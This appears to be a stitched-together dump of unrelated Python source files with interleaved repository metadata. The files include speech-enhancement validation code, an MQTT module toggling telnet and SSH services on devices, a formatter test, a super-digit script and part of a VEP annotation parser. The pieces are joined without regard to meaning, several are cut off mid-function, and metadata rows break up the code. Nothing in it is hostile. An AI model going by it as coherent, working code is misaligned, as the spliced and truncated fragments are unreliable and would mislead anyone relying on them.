avg_pesq += sum(pesq[0]) / len(inputs)
avg_stoi += sum(stoi[0]) / len(inputs)
# save the samples to tensorboard
if epoch % 10 == 0:
writer.log_wav(inputs[0], targets[0], outputs[0], epoch)
validation_loss /= batch_num
avg_pesq /= batch_num
avg_stoi /= batch_num
return validation_loss, avg_pesq, avg_stoi
def model_perceptual_validate(model, validation_loader, writer, dir_to_save, epoch, DEVICE):
# initialization
validation_loss = 0
validation_main_loss = 0
validation_perceptual_loss = 0
batch_num = 0
avg_pesq = 0
avg_stoi = 0
# for record the score each samples
f_score = open(dir_to_save + '/Epoch_' + '%d_SCORES' % epoch, 'a')
model.eval()
with torch.no_grad():
for inputs, targets in tools.Bar(validation_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
real_spec, img_spec, outputs = model(inputs)
main_loss = model.loss(outputs, targets)
perceptual_loss = model.loss(outputs, targets, real_spec, img_spec, perceptual=True)
# the constraint ratio
r1 = 1
r2 = 1
r3 = r1 + r2
loss = (r1 * main_loss + r2 * perceptual_loss) / r3
validation_loss += loss
validation_main_loss += r1 * main_loss
validation_perceptual_loss += r2 * perceptual_loss
# estimate the output speech with pesq and stoi
estimated_wavs = outputs.cpu().detach().numpy()
clean_wavs = targets.cpu().detach().numpy()
pesq = cal_pesq(estimated_wavs, clean_wavs)
stoi = cal_stoi(estimated_wavs, clean_wavs)
# pesq: 0.1 better / stoi: 0.01 better
for i in range(len(pesq)):
f_score.write('PESQ {:.6f} | STOI {:.6f}\n'.format(pesq[i], stoi[i]))
# reshape for sum
pesq = np.reshape(pesq, (1, -1))
stoi = np.reshape(stoi, (1, -1))
avg_pesq += sum(pesq[0]) / len(inputs)
avg_stoi += sum(stoi[0]) / len(inputs)
# save the samples to tensorboard
if epoch % 10 == 0:
writer.log_wav(inputs[0], targets[0], outputs[0], epoch)
validation_loss /= batch_num
validation_main_loss /= batch_num
validation_perceptual_loss /= batch_num
avg_pesq /= batch_num
avg_stoi /= batch_num
return validation_loss, validation_main_loss, validation_perceptual_loss, avg_pesq, avg_stoi
def fullsubnet_validate(model, validation_loader, writer, dir_to_save, epoch, DEVICE):
# initialization
validation_loss = 0
batch_num = 0
avg_pesq = 0
avg_stoi = 0
# for record the score each samples
f_score = open(dir_to_save + '/Epoch_' + '%d_SCORES' % epoch, 'a')
model.eval()
with torch.no_grad():
for inputs, targets in tools.Bar(validation_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
noisy_complex = tools.stft(inputs)
clean_complex = tools.stft(targets)
noisy_mag, _ = tools.mag_phase(noisy_complex)
cIRM = tools.build_complex_ideal_ratio_mask(noisy_complex, clean_complex)
cRM = model(noisy_mag)
loss = model.loss(cIRM, cRM)
validation_loss += loss
# estimate the output speech with pesq and stoi
cRM = tools.decompress_cIRM(cRM)
enhanced_real = cRM[..., 0] * noisy_complex.real - cRM[..., 1] * noisy_complex.imag
enhanced_imag = cRM[..., 1] * noisy_complex.real + cRM[..., 0] * noisy_complex.imag
enhanced_complex = torch.stack((enhanced_real, enhanced_imag), dim=-1)
enhanced_outputs = tools.istft(enhanced_complex, length=inputs.size(-1))
estimated_wavs = enhanced_outputs.cpu().detach().numpy()
clean_wavs = targets.cpu().detach().numpy()
pesq = cal_pesq(estimated_wavs, clean_wavs)
stoi = cal_stoi(estimated_wavs, clean_wavs)
# pesq: 0.1 better / stoi: 0.01 better
for i in range(len(pesq)):
f_score.write('PESQ {:.6f} | STOI {:.6f}\n'.format(pesq[i], stoi[i]))
# reshape for sum
pesq = np.reshape(pesq, (1, -1))
stoi = np.reshape(stoi, (1, -1))
avg_pesq += sum(pesq[0]) / len(inputs)
avg_stoi += sum(stoi[0]) / len(inputs)
# save the samples to tensorboard
if epoch % 10 == 0:
writer.log_wav(inputs[0], targets[0], enhanced_outputs[0], epoch)
validation_loss /= batch_num
avg_pesq /= batch_num
avg_stoi /= batch_num
return validation_loss, avg_pesq, avg_stoi
# Spectral mapping
def dccrn_direct_validate(model, validation_loader, writer, dir_to_save, epoch, DEVICE):
# initialization
validation_loss = 0
batch_num = 0
avg_pesq = 0
avg_stoi = 0
# for record the score each samples
f_score = open(dir_to_save + '/Epoch_' + '%d_SCORES' % epoch, 'a')
model.eval()
with torch.no_grad():
for inputs, targets in tools.Bar(validation_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
output_real, target_real, output_imag, target_imag, outputs = model(inputs, targets)
real_loss = model.loss(output_real, target_real)
imag_loss = model.loss(output_imag, target_imag)
loss = (real_loss + imag_loss) / 2
validation_loss += loss
# estimate the output speech with pesq and stoi
estimated_wavs = outputs.cpu().detach().numpy()
clean_wavs = targets.cpu().detach().numpy()
pesq = cal_pesq(estimated_wavs, clean_wavs)
stoi = cal_stoi(estimated_wavs, clean_wavs)
# pesq: 0.1 better / stoi: 0.01 better
for i in range(len(pesq)):
f_score.write('PESQ {:.6f} | STOI {:.6f}\n'.format(pesq[i], stoi[i]))
# reshape for sum
pesq = np.reshape(pesq, (1, -1))
stoi = np.reshape(stoi, (1, -1))
avg_pesq += sum(pesq[0]) / len(inputs)
avg_stoi += sum(stoi[0]) / len(inputs)
# save the samples to tensorboard
if epoch % 10 == 0:
writer.log_wav(inputs[0], targets[0], outputs[0], epoch)
validation_loss /= batch_num
avg_pesq /= batch_num
avg_stoi /= batch_num
return validation_loss, avg_pesq, avg_stoi
def crn_direct_validate(model, validation_loader, writer, dir_to_save, epoch, DEVICE):
# initialization
validation_loss = 0
batch_num = 0
avg_pesq = 0
avg_stoi = 0
# for record the score each samples
f_score = open(dir_to_save + '/Epoch_' + '%d_SCORES' % epoch, 'a')
model.eval()
with torch.no_grad():
for inputs, targets in tools.Bar(validation_loader):
batch_num += 1
# to cuda
inputs = inputs.float().to(DEVICE)
targets = targets.float().to(DEVICE)
output_mag, target_mag, outputs = model(inputs, targets)
loss = model.loss(output_mag, target_mag)
validation_loss += loss
# estimate the output speech with pesq and stoi
estimated_wavs = outputs.cpu().detach().numpy()
clean_wavs = targets.cpu().detach().numpy()
pesq = cal_pesq(estimated_wavs, clean_wavs)
stoi = cal_stoi(estimated_wavs, clean_wavs)
# pesq: 0.1 better / stoi: 0.01 better
for i in range(len(pesq)):
f_score.write('PESQ {:.6f} | STOI {:.6f}\n'.format(pesq[i], stoi[i]))
# reshape for sum
pesq = np.reshape(pesq, (1, -1))
stoi = np.reshape(stoi, (1, -1))
avg_pesq += sum(pesq[0]) / len(inputs)
avg_stoi += sum(stoi[0]) / len(inputs)
# save the samples to tensorboard
if epoch % 10 == 0:
writer.log_wav(inputs[0], targets[0], outputs[0], epoch)
validation_loss /= batch_num
avg_pesq /= batch_num
avg_stoi /= batch_num
return validation_loss, avg_pesq, avg_stoi
def fullsubnet_test(model, test_loader, DEVICE):
# initialization
# for record the score each samples
model.eval()
with torch.no_grad():
for bfn, in1, in2, in3, ol, l1, l2, l3 in tools.Bar(test_loader):
# create path
paths = [cfg.result_path + 'vocal_' + fn + '.flac' for fn in bfn]
# run model
in1 = in1.float().to(DEVICE)
in2 = in2.float().to(DEVICE)
in3 = in3.float().to(DEVICE)
noisy_complex1 = tools.stft(in1)
noisy_complex2 = tools.stft(in2)
noisy_complex3 = tools.stft(in3)
noisy_mag1, _ = tools.mag_phase(noisy_complex1)
noisy_mag2, _ = tools.mag_phase(noisy_complex2)
noisy_mag3, _ = tools.mag_phase(noisy_complex3)
cRM1 = model(noisy_mag1)
cRM2 = model(noisy_mag2)
cRM3 = model(noisy_mag3)
# decode outputs
cRM1 = tools.decompress_cIRM(cRM1)
cRM2 = tools.decompress_cIRM(cRM2)
cRM3 = tools.decompress_cIRM(cRM3)
enhanced_real1 = cRM1[..., 0] * noisy_complex1.real - cRM1[..., 1] * noisy_complex1.imag
enhanced_imag1 = cRM1[..., 1] * noisy_complex1.real + cRM1[..., 0] * noisy_complex1.imag
enhanced_complex1 = torch.stack((enhanced_real1, enhanced_imag1), dim=-1)
enhanced_outputs1 = tools.istft(enhanced_complex1, length=in1.size(-1))
enhanced_real2 = cRM2[..., 0] * noisy_complex2.real - cRM2[..., 1] * noisy_complex2.imag
enhanced_imag2 = cRM2[..., 1] * noisy_complex2.real + cRM2[..., 0] * noisy_complex2.imag
enhanced_complex2 = torch.stack((enhanced_real2, enhanced_imag2), dim=-1)
enhanced_outputs2 = tools.istft(enhanced_complex2, length=in2.size(-1))
enhanced_real3 = cRM3[..., 0] * noisy_complex3.real - cRM3[..., 1] * noisy_complex3.imag
enhanced_imag3 = cRM3[..., 1] * noisy_complex3.real + cRM3[..., 0] * noisy_complex3.imag
enhanced_complex3 = torch.stack((enhanced_real3, enhanced_imag3), dim=-1)
enhanced_outputs3 = tools.istft(enhanced_complex3, length=in3.size(-1))
# to numpy
enhanced_out1 = enhanced_outputs1.cpu().detach().numpy()
enhanced_out2 = enhanced_outputs2.cpu().detach().numpy()
enhanced_out3 = enhanced_outputs3.cpu().detach().numpy()
for idx, out1 in enumerate(enhanced_out1):
out2 = enhanced_out2[idx]
out3 = enhanced_out3[idx]
org_l = ol[idx] #original len
i1_l = l1[idx] # inputs1 len
i2_l = l2[idx] # inputs2 len
i3_l = l3[idx]
# concat output2
if i2_l == 0:
# audio is less than 5sec
out = out1[:i1_l]
else:
# audio larger than 5sec
a = out1[:i1_l]
b = out2[:i2_l]
out = np.concatenate([a,b])
if i3_l != 0:
out = np.concatenate([out, out3[:i3_l]])
assert org_l == len(out), 'unconsistent length'
genFlac(out, paths[idx])
def model_test(model, test_loader, DEVICE):
# initialization
model.eval()
with torch.no_grad():
for bfn, in1, in2, in3, ol, l1, l2, l3 in tools.Bar(test_loader):
# create path
paths = [cfg.result_path + 'vocal_' + fn + '.flac' for fn in bfn]
# run model
in1 = in1.float().to(DEVICE)
in2 = in2.float().to(DEVICE)
in3 = in3.float().to(DEVICE)
# decode outputs
enhanced_outputs1 = model(in1)
enhanced_outputs2 = model(in2)
enhanced_outputs3= model(in3)
# to numpy
enhanced_out1 = enhanced_outputs1.cpu().detach().numpy()
enhanced_out2 = enhanced_outputs2.cpu().detach().numpy()
enhanced_out3 = enhanced_outputs3.cpu().detach().numpy()
for idx, out1 in enumerate(enhanced_out1):
out2 = enhanced_out2[idx]
out3 = enhanced_out3[idx]
org_l = ol[idx] #original len
i1_l = l1[idx] # inputs1 lenq
i2_l = l2[idx] # inputs2 len
i3_l = l3[idx]
# concat output2
if i2_l == 0:
# audio is less than 5sec
out = out1[:i1_l]
else:
# audio larger than 5sec
a = out1[:i1_l]
b = out2[:i2_l]
out = np.concatenate([a,b])
if i3_l != 0:
out = np.concatenate([out, out3[:i3_l]])
assert org_l == len(out), 'unconsistent length'
genFlac(out, paths[idx])
| 32.930921
| 100
| 0.560783
| 2,410
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| 4.450207
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| 0.76951
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| 889
|
py
|
Python
|
NodeDefender/mqtt/command/icpe/sys/service.py
|
CTSNE/NodeDefender
|
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"MIT"
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NodeDefender/mqtt/command/icpe/sys/service.py
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CTSNE/NodeDefender
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|
[
"MIT"
] | 1
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2016-09-22T11:32:33.000Z
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2017-11-14T10:00:24.000Z
|
NodeDefender/mqtt/command/icpe/sys/service.py
|
CTSNE/NodeDefender
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|
[
"MIT"
] | 4
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2016-10-09T19:05:16.000Z
|
2020-05-14T04:00:30.000Z
|
from NodeDefender.mqtt.command import fire, topic_format
def qry(mac_address):
topic = topic_format.format(mac_address, "sys", "svc", "qry")
return fire(topic, icpe = mac_address)
def telnet(mac_address, enabled):
topic = topic_format.format(mac_address, "sys", "svc:cli", "set")
return fire(topic, payload = str(int(enabled)), icpe = mac_address)
def ssh(mac_address, enabled):
topic = topic_format.format(mac_address, "sys", "svc:ssh", "set")
return fire(topic, payload = str(int(enabled)), icpe = mac_address)
def web(mac_address, enabled):
topic = topic_format.format(mac_address, "sys", "svc:web", "st")
return fire(topic, payload = str(int(enabled)), icpe = mac_address)
def snmp(mac_address, enabled):
topic = topic_format.format(mac_address, "sys", "svc:snmp", "set")
return fire(topic, payload = str(int(enabled)), icpe = mac_address)
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py
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StarryInternet/black
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StarryInternet/black
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"MIT"
] | 1,762
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|
2022-03-31T06:10:22.000Z
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#!/usr/bin/env python3.6
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x = 123456789E123456789
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x = 123456789.123456789J
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# output
#!/usr/bin/env python3.6
x = 123456789
x = 123456
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x = 1.0
x = 1e1
x = 1e-1
x = 1.000_000_01
x = 123456789.123456789
x = 123456789.123456789e123456789
x = 123456789e123456789
x = 123456789j
x = 123456789.123456789j
x = 0xB1ACC
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py
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Python
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src/recursions/super_digit.py
|
vasanthonline/python-algos
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[
"Apache-2.0"
] | null | null | null |
src/recursions/super_digit.py
|
vasanthonline/python-algos
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|
[
"Apache-2.0"
] | null | null | null |
src/recursions/super_digit.py
|
vasanthonline/python-algos
|
7bbdd3bf72894388f4026f4cf9f610d6a4158b8f
|
[
"Apache-2.0"
] | null | null | null |
#!/bin/python3
import time
'''
Given an integer, we need to find the super digit of the integer.
If x has only 1 digit, then its super digit is x.
Otherwise, the super digit of is equal to the super digit of the sum of the digits of x.
:param n: The input interger n.
:type n: int
:param k: The no. of repetitions of integer n
:type k: int
:return: The super digit of n
:rtype: int
'''
def super_digit(n, k):
string = str(n)
if(len(string) == 1 and k == 1):
return int(string)
sum = 0
for s in string:
sum += int(s)
return super_digit(sum * k, 1)
# n = input("Please enter an integer:")
# k = input("Please enter an repetition:")
n = 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99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
k = 100000
start = time.process_time()
print("The super digit of {} when repeated {} times is : {}".format(n, k, super_digit(n, k)))
print("{} ms".format((time.process_time() - start) * 1000))
| 3,056.636364
| 100,004
| 0.996966
| 154
| 100,869
| 652.974026
| 0.396104
| 0.000895
| 0.000646
| 0.000746
| 0.000358
| 0
| 0
| 0
| 0
| 0
| 0
| 0.993444
| 0.001913
| 100,869
| 33
| 100,005
| 3,056.636364
| 0.005384
| 0.000912
| 0
| 0
| 0
| 0
| 0.000568
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0.071429
| null | null | 0.142857
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
c29404bf467ddd6ce05f53a44ae0789a45c30cf8
| 43,077
|
py
|
Python
|
fuc/api/pyvep.py
|
sbslee/fuc
|
f4eb5f6b95b533252ee877920278cd4e4c964bb8
|
[
"MIT"
] | 17
|
2021-06-09T23:23:56.000Z
|
2022-03-10T11:58:46.000Z
|
fuc/api/pyvep.py
|
sbslee/fuc
|
f4eb5f6b95b533252ee877920278cd4e4c964bb8
|
[
"MIT"
] | 27
|
2021-04-21T06:25:22.000Z
|
2022-03-30T23:25:36.000Z
|
fuc/api/pyvep.py
|
sbslee/fuc
|
f4eb5f6b95b533252ee877920278cd4e4c964bb8
|
[
"MIT"
] | null | null | null |
"""
The pyvep submodule is designed for parsing VCF annotation data from the
`Ensembl VEP <https://asia.ensembl.org/info/docs/tools/vep/index.html>`_
program. It should be used with ``pyvcf.VcfFrame``.
The input VCF should already contain functional annotation data from
Ensembl VEP. The recommended method is Ensembl VEP's
`web interface <https://asia.ensembl.org/Tools/VEP>`_ with
“RefSeq transcripts” as the transcript database and the filtering option
“Show one selected consequence per variant”.
A typical VEP-annotated VCF file contains many fields ranging from gene
symbol to protein change. However, most of the analysis in pyvep uses the
following fields:
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| No. | Name | Description | Examples |
+=====+====================+=====================+==========================================================================================================+
| 1 | Allele | Variant allele | 'C', 'T', 'CG' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 2 | Consequence | Consequence type | 'missense_variant', 'stop_gained' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 3 | IMPACT | Consequence impact | 'MODERATE', 'HIGH' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 4 | SYMBOL | Gene symbol | 'TP53', 'APC' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 5 | Gene | Ensembl ID | 7157, 55294 |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 6 | BIOTYPE | Transcript biotype | 'protein_coding', 'pseudogene', 'miRNA' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 7 | EXON | Exon number | '8/17', '17/17' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 8 | Protein_position | Amino acid position | 234, 1510 |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 9 | Amino_acids | Amino acid changes | 'R/\*', 'A/X', 'V/A' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 10 | Existing_variation | Variant identifier | 'rs17851045', 'rs786201856&COSV57325157' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 11 | STRAND | Genomic strand | 1, -1 |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 12 | SIFT | SIFT prediction | 'tolerated(0.6)', 'tolerated_low_confidence(0.37)', 'deleterious_low_confidence(0.03)', 'deleterious(0)' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 13 | PolyPhen | PolyPhen prediction | 'benign(0.121)', 'possibly_damaging(0.459)', 'probably_damaging(0.999)' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
| 14 | CLIN_SIG | ClinVar prediction | 'pathogenic', 'likely_pathogenic&pathogenic' |
+-----+--------------------+---------------------+----------------------------------------------------------------------------------------------------------+
"""
import re
import pandas as pd
import numpy as np
from . import pyvcf
# https://m.ensembl.org/info/docs/tools/vep/vep_formats.html
DATA_TYPES = {
'Allele': 'str',
'Consequence': 'str',
'IMPACT': 'str',
'SYMBOL': 'str',
'Gene': 'str',
'Feature_type': 'str',
'Feature': 'str',
'BIOTYPE': 'str',
'EXON': 'str',
'INTRON': 'str',
'HGVSc': 'str',
'HGVSp': 'str',
'cDNA_position': 'str',
'CDS_position': 'str',
'Protein_position': 'str',
'Amino_acids': 'str',
'Codons': 'str',
'Existing_variation': 'str',
'DISTANCE': 'str',
'STRAND': 'str',
'FLAGS': 'str',
'SYMBOL_SOURCE': 'str',
'HGNC_ID': 'str',
'MANE_SELECT': 'str',
'MANE_PLUS_CLINICAL': 'str',
'TSL': 'str',
'APPRIS': 'str',
'REFSEQ_MATCH': 'str',
'REFSEQ_OFFSET': 'str',
'GIVEN_REF': 'str',
'USED_REF': 'str',
'BAM_EDIT': 'str',
'SIFT': 'str',
'PolyPhen': 'str',
'AF': 'float64',
'AFR_AF': 'float64',
'AMR_AF': 'float64',
'EAS_AF': 'float64',
'EUR_AF': 'float64',
'SAS_AF': 'float64',
'AA_AF': 'float64',
'EA_AF': 'float64',
'gnomAD_AF': 'float64',
'gnomAD_AFR_AF': 'float64',
'gnomAD_AMR_AF': 'float64',
'gnomAD_ASJ_AF': 'float64',
'gnomAD_EAS_AF': 'float64',
'gnomAD_FIN_AF': 'float64',
'gnomAD_NFE_AF': 'float64',
'gnomAD_OTH_AF': 'float64',
'gnomAD_SAS_AF': 'float64',
'CLIN_SIG': 'str',
'SOMATIC': 'str',
'PHENO': 'str',
'PUBMED': 'str',
'MOTIF_NAME': 'str',
'MOTIF_POS': 'str',
'HIGH_INF_POS': 'str',
'MOTIF_SCORE_CHANGE': 'str',
'TRANSCRIPTION_FACTORS': 'str',
}
SEVERITIY = [
'transcript_ablation',
'splice_acceptor_variant',
'splice_donor_variant',
'stop_gained',
'frameshift_variant',
'stop_lost',
'start_lost',
'transcript_amplification',
'inframe_insertion',
'inframe_deletion',
'missense_variant',
'protein_altering_variant',
'splice_region_variant',
'incomplete_terminal_codon_variant',
'start_retained_variant',
'stop_retained_variant',
'synonymous_variant',
'coding_sequence_variant',
'mature_miRNA_variant',
'5_prime_UTR_variant',
'3_prime_UTR_variant',
'non_coding_transcript_exon_variant',
'intron_variant',
'NMD_transcript_variant',
'non_coding_transcript_variant',
'upstream_gene_variant',
'downstream_gene_variant',
'TFBS_ablation',
'TFBS_amplification',
'TF_binding_site_variant',
'regulatory_region_ablation',
'regulatory_region_amplification',
'feature_elongation',
'regulatory_region_variant',
'feature_truncation',
'intergenic_variant'
]
def row_firstann(r):
"""Return the first result in the row.
Parameters
----------
r : pandas.Series
VCF row.
Returns
-------
str
Annotation result. Empty string if annotation is not found.
See Also
--------
row_mostsevere
Similar method that returns result with the most severe
consequence in the row.
Examples
--------
>>> data = {
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dtype: object
"""
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def row_mostsevere(r):
"""Return result with the most severe consequence in the row.
Parameters
----------
r : pandas.Series
VCF row.
Returns
-------
str
Annotation result. Empty string if annotation is not found.
See Also
--------
row_firstann
Similar method that returns the first result in the row.
Examples
--------
>>> data = {
... 'CHROM': ['chr1', 'chr1', 'chr2', 'chr2'],
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... ],
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>>> vf.df.apply(pyvep.row_mostsevere, axis=1)
0 C|missense_variant|MODERATE|SPEN|ENSG000000655...
1 T|missense_variant|MODERATE|NRAS|ENSG000002132...
2 A|stop_gained&NMD_transcript_variant|HIGH|NTRK...
3 -|inframe_deletion|MODERATE|HRAS|ENSG000001747...
dtype: object
"""
results = pyvcf.row_parseinfo(r, 'CSQ')
if not results:
return ''
f = lambda x: SEVERITIY.index(x.split('|')[1].split('&')[0])
return sorted(results.split(','), key=f)[0]
def parseann(vf, targets, sep=' | ', as_series=False):
"""Parse variant annotations in VcfFrame.
If there are multiple results per row, the method will use the first
one for extracting requested data.
Parameters
----------
vf : VcfFrame
VcfFrame.
targets : list
List of subfield IDs or indicies or both.
sep : str, default: ' | '
Separator for joining requested annotations.
as_series : bool, default: False
If True, return 1D array instead of VcfFrame.
Returns
-------
VcfFrame or pandas.Series
Parsed annotations in VcfFrame or 1D array.
Examples
--------
Assume we have the following data:
>>> meta = [
... '##fileformat=VCFv4.1',
... '##VEP="v104" time="2021-05-20 10:50:12" cache="/net/isilonP/public/ro/ensweb-data/latest/tools/grch37/e104/vep/cache/homo_sapiens/104_GRCh37" db="homo_sapiens_core_104_37@hh-mysql-ens-grch37-web" 1000genomes="phase3" COSMIC="92" ClinVar="202012" HGMD-PUBLIC="20204" assembly="GRCh37.p13" dbSNP="154" gencode="GENCODE 19" genebuild="2011-04" gnomAD="r2.1" polyphen="2.2.2" regbuild="1.0" sift="sift5.2.2"',
... '##INFO=<ID=CSQ,Number=.,Type=String,Description="Consequence annotations from Ensembl VEP. Format: Allele|Consequence|IMPACT|SYMBOL|Gene|Feature_type|Feature|BIOTYPE|EXON|INTRON|HGVSc|HGVSp|cDNA_position|CDS_position|Protein_position|Amino_acids|Codons|Existing_variation|DISTANCE|STRAND|FLAGS|SYMBOL_SOURCE|HGNC_ID|MANE_SELECT|MANE_PLUS_CLINICAL|TSL|APPRIS|SIFT|PolyPhen|AF|CLIN_SIG|SOMATIC|PHENO|PUBMED|MOTIF_NAME|MOTIF_POS|HIGH_INF_POS|MOTIF_SCORE_CHANGE|TRANSCRIPTION_FACTORS">'
... ]
>>> data = {
... 'CHROM': ['chr1', 'chr1', 'chr2', 'chr2'],
... 'POS': [100, 101, 200, 201],
... 'ID': ['.', '.', '.', '.'],
... 'REF': ['G', 'C', 'CAG', 'C'],
... 'ALT': ['T', 'T', 'C', 'T'],
... 'QUAL': ['.', '.', '.', '.'],
... 'FILTER': ['.', '.', '.', '.'],
... 'INFO': [
... 'CSQ=T|missense_variant|MODERATE|MTOR|ENSG00000198793|Transcript|ENST00000361445.4|protein_coding|47/58||||6721|6644|2215|S/Y|tCt/tAt|rs587777894&COSV63868278&COSV63868313||-1||HGNC|3942|||||deleterious(0)|possibly_damaging(0.876)||likely_pathogenic&pathogenic|0&1&1|1&1&1|26619011&27159400&24631838&26018084&27830187|||||',
... 'CSQ=T|synonymous_variant|LOW|MTOR|ENSG00000198793|Transcript|ENST00000361445.4|protein_coding|49/58||||6986|6909|2303|L|ctG/ctA|rs11121691&COSV63870864||-1||HGNC|3942|||||||0.2206|benign|0&1|1&1|24996771|||||',
... 'CSQ=-|frameshift_variant|HIGH|BRCA2|ENSG00000139618|Transcript|ENST00000380152.3|protein_coding|18/27||||8479-8480|8246-8247|2749|Q/X|cAG/c|rs80359701||1||HGNC|1101||||||||pathogenic||1|26467025&26295337&15340362|||||',
... 'CSQ=T|missense_variant|MODERATE|MTOR|ENSG00000198793|Transcript|ENST00000361445.4|protein_coding|30/58||||4516|4439|1480|R/H|cGc/cAc|rs780930764&COSV63868373||-1||HGNC|3942|||||tolerated(0.13)|benign(0)||likely_benign|0&1|1&1||||||'
... ],
... 'FORMAT': ['GT', 'GT', 'GT', 'GT'],
... 'Steven': ['0/1', '0/1', '0/1', '0/1'],
... }
>>> vf = pyvcf.VcfFrame.from_dict(meta, data)
We can extract gene symbols:
>>> pyvep.parseann(vf, ['SYMBOL']).df
CHROM POS ID REF ALT QUAL FILTER INFO FORMAT Steven
0 chr1 100 . G T . . MTOR GT 0/1
1 chr1 101 . C T . . MTOR GT 0/1
2 chr2 200 . CAG C . . BRCA2 GT 0/1
3 chr2 201 . C T . . MTOR GT 0/1
If we want to add variant impact:
>>> pyvep.parseann(vf, ['SYMBOL', 'IMPACT']).df
CHROM POS ID REF ALT QUAL FILTER INFO FORMAT Steven
0 chr1 100 . G T . . MTOR | MODERATE GT 0/1
1 chr1 101 . C T . . MTOR | LOW GT 0/1
2 chr2 200 . CAG C . . BRCA2 | HIGH GT 0/1
3 chr2 201 . C T . . MTOR | MODERATE GT 0/1
If we want to change the delimter:
>>> pyvep.parseann(vf, ['SYMBOL', 'IMPACT'], sep=',').df
CHROM POS ID REF ALT QUAL FILTER INFO FORMAT Steven
0 chr1 100 . G T . . MTOR,MODERATE GT 0/1
1 chr1 101 . C T . . MTOR,LOW GT 0/1
2 chr2 200 . CAG C . . BRCA2,HIGH GT 0/1
3 chr2 201 . C T . . MTOR,MODERATE GT 0/1
Finally, we can return a 1D array instead of VcfFrame:
>>> pyvep.parseann(vf, ['SYMBOL'], as_series=True)
0 MTOR
1 MTOR
2 BRCA2
3 MTOR
dtype: object
"""
_targets = [x if isinstance(x, int) else annot_names(vf).index(x) for x in targets]
def func(r):
ann = row_firstann(r)
